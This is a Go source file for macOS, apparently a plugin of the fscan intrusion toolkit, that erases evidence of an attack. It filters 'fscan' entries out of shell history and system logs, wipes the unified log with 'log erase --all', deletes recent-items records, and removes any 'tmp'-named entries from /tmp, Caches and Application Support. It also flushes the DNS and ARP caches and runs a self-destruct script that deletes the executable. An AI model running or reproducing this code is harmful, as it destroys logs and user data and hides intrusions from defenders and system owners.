//go:build darwin package cleaner import ( "fmt" "os" "os/exec" "path/filepath" "strings" "time" "github.com/shadow1ng/fscan/common" ) // cleanSystemTraces 清理macOS系统痕迹 func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} { report := make(map[string]interface{}) var cleaned []string // 1. 清理Shell历史记录 if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 { cleaned = append(cleaned, shellHistory...) report["shell_history"] = shellHistory } // 2. 清理系统日志 if systemLogs := p.cleanMacSystemLogs(); len(systemLogs) > 0 { cleaned = append(cleaned, systemLogs...) report["system_logs"] = systemLogs } // 3. 清理最近项目记录 if recentItems := p.cleanRecentItems(); len(recentItems) > 0 { cleaned = append(cleaned, recentItems...) report["recent_items"] = recentItems } // 4. 清理Spotlight索引 if spotlight := p.cleanSpotlightIndex(); len(spotlight) > 0 { cleaned = append(cleaned, spotlight...) report["spotlight_index"] = spotlight } // 5. 清理临时文件 if tempFiles := p.cleanMacTempFiles(); len(tempFiles) > 0 { cleaned = append(cleaned, tempFiles...) report["temp_files"] = tempFiles } // 6. 清理LaunchServices数据库 if launchServices := p.cleanLaunchServicesDB(); len(launchServices) > 0 { cleaned = append(cleaned, launchServices...) report["launch_services"] = launchServices } p.cleanupStats["system_entries"] += len(cleaned) report["total_cleaned"] = len(cleaned) return report } // cleanShellHistory 清理Shell历史记录 (与Linux类似) func (p *CleanerPlugin) cleanShellHistory() []string { var cleaned []string homeDir := os.Getenv("HOME") if homeDir == "" { return cleaned } // macOS常见的Shell历史文件 historyFiles := []string{ ".bash_history", ".zsh_history", ".sh_history", } for _, histFile := range historyFiles { histPath := filepath.Join(homeDir, histFile) if _, err := os.Stat(histPath); os.IsNotExist(err) { continue } content, err := os.ReadFile(histPath) if err != nil { common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err)) continue } lines := strings.Split(string(content), "\n") var filteredLines []string removedCount := 0 for _, line := range lines { if strings.Contains(strings.ToLower(line), "fscan") { removedCount++ continue } filteredLines = append(filteredLines, line) } if removedCount > 0 { newContent := strings.Join(filteredLines, "\n") if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil { common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err)) } else { cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount)) common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount)) } } } // 清理当前会话历史 if err := exec.Command("history", "-c").Run(); err != nil { common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err)) } else { cleaned = append(cleaned, "Current session history") common.LogSuccess("已清理当前会话历史记录") } return cleaned } // cleanMacSystemLogs 清理macOS系统日志 func (p *CleanerPlugin) cleanMacSystemLogs() []string { var cleaned []string // macOS系统日志路径 logPaths := []string{ "/var/log/system.log", "/var/log/install.log", "/var/log/secure.log", } // 用户日志目录 homeDir := os.Getenv("HOME") if homeDir != "" { userLogDir := filepath.Join(homeDir, "Library", "Logs") if entries, err := os.ReadDir(userLogDir); err == nil { for _, entry := range entries { if strings.Contains(strings.ToLower(entry.Name()), "fscan") { logPaths = append(logPaths, filepath.Join(userLogDir, entry.Name())) } } } } for _, logPath := range logPaths { if _, err := os.Stat(logPath); os.IsNotExist(err) { continue } if p.filterLogFile(logPath) { cleaned = append(cleaned, logPath) } } // 使用log命令清理系统日志 if err := exec.Command("log", "erase", "--all").Run(); err != nil { common.LogDebug(fmt.Sprintf("清理统一日志失败 (权限不足): %v", err)) } else { cleaned = append(cleaned, "Unified Logging System") common.LogSuccess("已清理统一日志系统") } return cleaned } // filterLogFile 过滤日志文件 (与Linux类似) func (p *CleanerPlugin) filterLogFile(logPath string) bool { file, err := os.OpenFile(logPath, os.O_RDWR, 0) if err != nil { common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err)) return false } defer file.Close() content, err := os.ReadFile(logPath) if err != nil { return false } lines := strings.Split(string(content), "\n") var filteredLines []string removedCount := 0 for _, line := range lines { if strings.Contains(strings.ToLower(line), "fscan") { removedCount++ continue } filteredLines = append(filteredLines, line) } if removedCount > 0 { newContent := strings.Join(filteredLines, "\n") if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil { common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err)) return false } common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount)) return true } return false } // cleanRecentItems 清理macOS最近项目记录 func (p *CleanerPlugin) cleanRecentItems() []string { var cleaned []string homeDir := os.Getenv("HOME") if homeDir == "" { return cleaned } // 最近项目plist文件 recentPaths := []string{ filepath.Join(homeDir, "Library", "Preferences", "com.apple.recentitems.plist"), filepath.Join(homeDir, "Library", "Application Support", "com.apple.sharedfilelist"), } for _, recentPath := range recentPaths { if _, err := os.Stat(recentPath); os.IsNotExist(err) { continue } // 对于plist文件,我们采用删除整个文件的方式 if strings.HasSuffix(recentPath, ".plist") { if err := os.Remove(recentPath); err != nil { common.LogDebug(fmt.Sprintf("删除最近项目文件失败: %v", err)) } else { cleaned = append(cleaned, recentPath) common.LogSuccess(fmt.Sprintf("已删除最近项目记录: %s", filepath.Base(recentPath))) } } } return cleaned } // cleanSpotlightIndex 清理Spotlight索引 func (p *CleanerPlugin) cleanSpotlightIndex() []string { var cleaned []string // 重建当前目录的Spotlight索引 if err := exec.Command("mdutil", "-E", p.workingDirectory).Run(); err != nil { common.LogDebug(fmt.Sprintf("重建Spotlight索引失败: %v", err)) } else { cleaned = append(cleaned, fmt.Sprintf("Spotlight index for %s", p.workingDirectory)) common.LogSuccess("已重建Spotlight索引") } return cleaned } // cleanMacTempFiles 清理macOS临时文件 func (p *CleanerPlugin) cleanMacTempFiles() []string { var cleaned []string homeDir := os.Getenv("HOME") // macOS临时目录 tempDirs := []string{ "/tmp", "/var/tmp", } if homeDir != "" { tempDirs = append(tempDirs, []string{ filepath.Join(homeDir, "Library", "Caches"), filepath.Join(homeDir, "Library", "Application Support"), }...) } for _, tempDir := range tempDirs { entries, err := os.ReadDir(tempDir) if err != nil { continue } for _, entry := range entries { entryName := strings.ToLower(entry.Name()) if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "tmp") { entryPath := filepath.Join(tempDir, entry.Name()) // 检查文件修改时间 if info, err := entry.Info(); err == nil { if time.Since(info.ModTime()) < 5*time.Minute { continue } } if entry.IsDir() { if err := os.RemoveAll(entryPath); err != nil { common.LogDebug(fmt.Sprintf("删除临时目录失败: %v", err)) } else { cleaned = append(cleaned, entryPath) p.cleanupStats["directories"]++ } } else { if err := os.Remove(entryPath); err != nil { common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err)) } else { cleaned = append(cleaned, entryPath) common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name())) } } } } } return cleaned } // cleanLaunchServicesDB 清理LaunchServices数据库 func (p *CleanerPlugin) cleanLaunchServicesDB() []string { var cleaned []string // 重建LaunchServices数据库 if err := exec.Command("/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister", "-kill", "-r", "-domain", "local", "-domain", "system", "-domain", "user").Run(); err != nil { common.LogDebug(fmt.Sprintf("重建LaunchServices数据库失败: %v", err)) } else { cleaned = append(cleaned, "LaunchServices Database") common.LogSuccess("已重建LaunchServices数据库") } return cleaned } // cleanNetworkTraces 清理网络痕迹 func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} { report := make(map[string]interface{}) var cleaned []string // 清理DNS缓存 if err := exec.Command("dscacheutil", "-flushcache").Run(); err != nil { common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err)) } else { cleaned = append(cleaned, "DNS Cache (dscacheutil)") common.LogSuccess("已清理DNS缓存") } // 清理mDNS缓存 if err := exec.Command("killall", "-HUP", "mDNSResponder").Run(); err != nil { common.LogDebug(fmt.Sprintf("重启mDNSResponder失败: %v", err)) } else { cleaned = append(cleaned, "mDNS Cache") common.LogSuccess("已重启mDNSResponder") } // 清理ARP缓存 if err := exec.Command("arp", "-d", "-a").Run(); err != nil { common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err)) } else { cleaned = append(cleaned, "ARP Cache") common.LogSuccess("已清理ARP缓存") } report["network_caches"] = cleaned report["total_cleaned"] = len(cleaned) return report } // createUnixSelfDestruct 创建Unix自毁脚本 (与Linux共用) func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} { report := make(map[string]interface{}) // 创建shell自毁脚本 shellScript := fmt.Sprintf(`#!/bin/bash sleep 2 rm -f "%s" 2>/dev/null rm -f "$0" 2>/dev/null exit 0`, p.currentExecutable) scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh") if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil { common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err)) report["status"] = "failed" report["error"] = err.Error() } else { // 异步执行自毁脚本 go func() { time.Sleep(1 * time.Second) cmd := exec.Command("/bin/bash", scriptPath) cmd.Start() }() report["status"] = "scheduled" report["script_path"] = scriptPath common.LogInfo("已创建自毁脚本,将在退出后执行") } return report } // prepareSelfDestruction 准备自毁 func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} { return p.createUnixSelfDestruct() }